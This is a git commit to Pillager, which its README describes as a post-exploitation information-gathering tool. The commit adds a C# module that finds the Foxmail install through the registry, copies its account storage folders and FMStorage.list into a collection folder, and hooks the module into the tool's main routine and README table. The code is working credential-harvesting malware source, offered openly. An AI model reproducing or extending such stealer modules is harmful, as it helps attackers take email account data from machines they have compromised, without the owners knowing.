Add Foxmail

This commit is contained in:
簞純 2023-11-14 02:43:32 +08:00
parent 598920c9ed
commit 5cbee710dc
4 changed files with 55 additions and 0 deletions

52
Pillager/Mails/Foxmail.cs Normal file
View File

@ -0,0 +1,52 @@
using Pillager.Helper;
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Text;
namespace Pillager.Mails
{
internal class Foxmail
{
public static string MailName = "Foxmail";
public static string GetInstallPath()
{
try
{
string foxPath = Microsoft.Win32.Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Classes\Foxmail.url.mailto\Shell\open\command").GetValue("").ToString();
foxPath = foxPath.Remove(foxPath.LastIndexOf("Foxmail.exe", StringComparison.Ordinal)).Replace("\"", "");
return foxPath;
}
catch { return ""; }
}
public static void Save(string path)
{
try
{
string installpath = GetInstallPath();
if (!Directory.Exists(installpath)||!Directory.Exists(Path.Combine(installpath, "Storage"))) return;
string savepath = Path.Combine(path, MailName);
Directory.CreateDirectory(savepath);
foreach (var directory in Directory.GetDirectories(Path.Combine(installpath, "Storage")))
{
Methods.CopyDirectory(directory, Path.Combine(savepath, Path.GetFileName(directory)), true);
foreach (var item in Directory.GetDirectories(Path.Combine(savepath, Path.GetFileName(directory))))
{
if (!item.EndsWith("Accounts"))
{
Directory.Delete(item,true);
}
}
foreach (var item in Directory.GetFiles(Path.Combine(savepath, Path.GetFileName(directory))))
{
File.Delete(item);
}
}
if (File.Exists(Path.Combine(installpath, "FMStorage.list"))) File.Copy(Path.Combine(installpath, "FMStorage.list"), Path.Combine(savepath, "FMStorage.list"));
}
catch { }
}
}
}

View File

@ -67,6 +67,7 @@
<Compile Include="Helper\Tar.cs" />
<Compile Include="Helper\TripleDESHelper.cs" />
<Compile Include="Helper\VaultCli.cs" />
<Compile Include="Mails\Foxmail.cs" />
<Compile Include="Mails\MailMaster.cs" />
<Compile Include="Messengers\Enigma.cs" />
<Compile Include="Messengers\QQ.cs" />

View File

@ -35,6 +35,7 @@ namespace Pillager
//Mail
MailMaster.Save(savepath);
Foxmail.Save(savepath);
//Messengers
QQ.Save(savepath);

View File

@ -58,6 +58,7 @@ Pillager是一个适用于后渗透期间的信息收集工具可以收集目
| Mail | Support |
| :--------: | :------: |
| MailMaster | DataFile |
| Foxmail | Storage |
| Others | Support |
| :----: | :------: |